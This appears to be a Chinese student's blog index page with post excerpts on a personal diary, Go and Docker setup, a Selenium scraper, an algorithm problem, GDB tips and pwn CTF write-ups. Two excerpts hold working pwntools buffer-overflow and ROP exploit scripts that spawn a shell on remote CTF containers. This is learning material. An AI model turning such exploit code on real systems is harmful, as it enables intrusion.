大注释实时模版
如图:
[]
夏季日记
夏季日记4-16 黑奴外包比赛终于结束,开始回归正轨。骗你的,还没。
我先说一下接下来要做的事情。只因点方面,一个是补充一下计组和概统的内容,不过更重要的是先应付作业;研狗方面,就是周五之前改好代码,顺便学习一下点云、卷积、特征和GS具体原理与实现的相关的知识;然后是BBS项目方面,现在的团队虽然有一定的规模,但其实比较散,就像我自己其实也东西奔走,很少有空静下心处理这个项目,感觉是有必要花个小周末或小假期精心打磨一下,先把官网搭出来,暂定的话就这周末吧;另外一个是外包的尾巴,其实我这个网站还没部署,有必要把功能做全,其实今天开始就可以陆续开工了,也是尽量在本周末把它搭完,甚至可以把它直接和我们的BBS项目进行结合,当然,尽量不要暴露了学校,不然可能会泡汤。
谔谔,不过现在紧要的是把电脑理一理,然后改一下服务器上所有中间件的密码(没错,交作品的时候暴露了),然后给5000端口做一个欢迎界面,给一个详细部署文档和样例服务。ok,接下来飞书布置一下任务,准备动手。
butterfly框架的段落缩进(转载) 在 Butterfly2.3.0 以上的版本中,我们可以在 inject ...
基于go+gin+gorm+mysql实现的CRUD项目(更新ing)
[12-21]
截至目前为止,前端是基于react+ts+tailwind的架构。
开个坑,写个项目。
Leaning doc 📝初始化
首先我们创建初始化项目
go mod init hello
这里的hello可以替换成任何喜欢的模块名的。
然后创建main.go
package main</br>func main() {</br>}
一般来说不要先想着导入库,goland会自动优化掉的。同理,如果用到了外部库,编译器会第一时间把包导入。
这时第一时间想到
fmt.Println("Hello, World!")
但是会发现输入print的话,会跳出很多函数,引起了我的好奇心。
我列出几个看到第一眼就感觉比较常见的。
print("Hello, World!")
内置的打印函数
println("Hello, World!")
打印后换行
fmt.Println("Hello, World!")
属于fmt ...
爬虫笔记
昨日爬虫学习与改造记录在今天的学习与实践中,我对一个使用 Selenium 进行招聘信息抓取的爬虫脚本进行了深入改造。通过代码优化与问题解决,我对如何设计、优化和调试爬虫有了更深入的理解。本文将详细记录今天的学习过程、遇到的问题以及改进后的代码。
1. 初步爬虫脚本构建最初的爬虫脚本结构相对简单,主要实现了以下功能:
页面加载与点击:通过 Selenium 模拟浏览器操作,访问目标招聘网站并点击分类页面。
数据提取:逐一遍历分类页面,提取每个职位的详细信息,包括职位名称、公司、地点、薪资等,并保存到数据库。
数据库操作:每获取到一个职位信息,都会连接数据库并插入数据。
初始代码(部分摘录)browser = webdriver.Edge()index_url = 'https://www.zhipin.com/?city=100010000&ka=city-sites-100010000'browser.get(index_url)show_ele = browser.find_element(by=By.XPATH, value='//*[@ ...
动态规划——fate
Fate最近xhd正在玩一款叫做FATE的游戏,为了得到极品装备,xhd在不停的杀怪做任务。久而久之xhd开始对杀怪产生的厌恶感,但又不得不通过杀怪来升完这最后一级。现在的问题是,xhd升掉最后一级还需n的经验值,xhd还留有m的忍耐度,每杀一个怪xhd会得到相应的经验,并减掉相应的忍耐度。当忍耐度降到0或者0以下时,xhd就不会玩这游戏。xhd还说了他最多只杀s只怪。请问他能升掉这最后一级吗?
输入格式:输入数据有多组,对于每组数据第一行输入n,m,k,s(0 < n,m,k,s < 100)四个正整数。分别表示还需的经验值,保留的忍耐度,怪的种数和最多的杀怪数。接下来输入k行数据。每行数据输入两个正整数a,b(0 < a,b < 20);分别表示杀掉一只这种怪xhd会得到的经验值和会减掉的忍耐度。(每种怪都有无数个)
输出格式:输出升完这级还能保留的最大忍耐度,如果无法升完这级输出-1。
输入样例:10 10 1 101 110 10 1 91 19 10 2 101 12 2
输出样例:0-11
我的题解:#include <iostream ...
刷题记录之hgame mini
Share interesting things9.3
这题属实是把我累坏了,请教了师傅好久[emo]
先上exploit,后续补上分析!
from pwn import *context(os="linux", arch="amd64", log_level="debug")io= remote("1.container.jingsai.apicon.cn",32376)#io=process("../vuln")rdi=0x4012e3rdx_rsi_rdi_syscall=0x401197str1=0x404080p=cyclic(0x28)p+=p64(rdx_rsi_rdi_syscall)p+=p64(0)+p64(0)+p64(str1)io.recv()#gdb.attach(io)io.sendline(p)io.recv()p2=b'/bin/sh\x00'+cyclic(50)io.sendline(p2)io.interactive()
...
制作一个latex-markdown数学公式转化器
在使用GPT进行输出数学公式的时候会有一个难受的地方,就是它是latex原生代码,导致粘贴到markdown的时候会显示一堆括号并且删起来比较麻烦。而md的公式标记方法是用$$。因此,开发一个小脚本用于简便转化。。
import redef format_latex_in_markdown(file_path, output_path): # 正则表达式匹配 LaTeX 代码 regex1 = r"\\\[(.*?)\\\]" regex2 = r"\\\((.*?)\\\)" # 读取文件内容 with open(file_path, 'r', encoding='utf-8') as file: content = file.read() # 替换 LaTeX 代码 formatted_content = re.sub(regex1, r"$\1$", content) formatted_content = re.s ...
ubuntuDocker部署
Ubuntu装docker在Ubuntu 22.04上执行上述操作需要稍微调整命令,因为Ubuntu使用的是APT包管理器,而不是CentOS的YUM。首先,我们需要更新系统包列表,然后安装一些必要的软件包,如apt-transport-https、ca-certificates、curl、software-properties-common等,这些软件包将帮助我们添加Docker的官方GPG密钥和仓库。接下来,我们将添加Docker的官方APT仓库,然后安装Docker CE(社区版)和它的依赖包。最后,我们启动并使Docker服务开机自启,然后检查Docker版本和列出当前的Docker镜像。下面是具体的命令序列:
更新APT包索引:
sudo apt update
安装一些必要的包,这些包允许apt通过HTTPS使用仓库:
sudo apt install -y apt-transport-https ca-certificates curl software-properties-common
添加Docker的官方GPG密钥:
curl -fsSL https://do ...
pwn小知识
pwn-gdb操作在PWN中使用GDB (GNU Debugger) 进行调试是一个常见的方法。以下是使用GDB调试二进制文件的一般步骤和一些有用的技巧:
启动GDB:
gdb ./binary_name
设置断点:使用 b (或 break) 命令设置断点。例如,为主函数设置断点:
b main
运行程序:使用 r (或 run) 命令:
r [program arguments]
查看寄存器状态:使用 info registers 或简写 i r:
i r
单步执行:
s 或 step: 执行一行源代码。如果该行是函数调用,则进入该函数。
n 或 next: 执行一行源代码。不会进入函数。
查看内存:
x 命令: 使用这个命令可以查看某个地址的内容。x/10x $rsp # 查看堆栈顶部的10个十六进制值
继续执行:使用 c (或 continue) 命令。
退出GDB:使用 q (或 quit) 命令。
使用GDB插件:为了方便PWN调试,社区有很多有用的GDB插件,例如 pwndbg, PEDA 和 GEF。这些插件为GDB提供了额外的功能和视觉增强 ...
pwn刷题记录 2(持续更新中)
get_started_3dsctf_2016(*)9.2,9.3
难题真多,先做个简单的(然后发现还是好难!!!但是方法是真的多,可易可难,好题!)
分析:
checksecArch: i386-32-littleRELRO: Partial RELROStack: No canary foundNX: NX enabledPIE: No PIE (0x8048000)
有NX,i386,32位
方法一:from pwn import *context(os="linux", arch="i386", log_level="debug")#可以反馈debug的一句操作,挺实惠的[doge]q=remote("node4.buuoj.cn",29728)get_flag=0x080489A0#这是一个函数地址exit=0x0804E6A0#这也是一个函数地址,这里用于远程正常退出payload = cyclic(0x38) + p32(get_flag) + p3 ...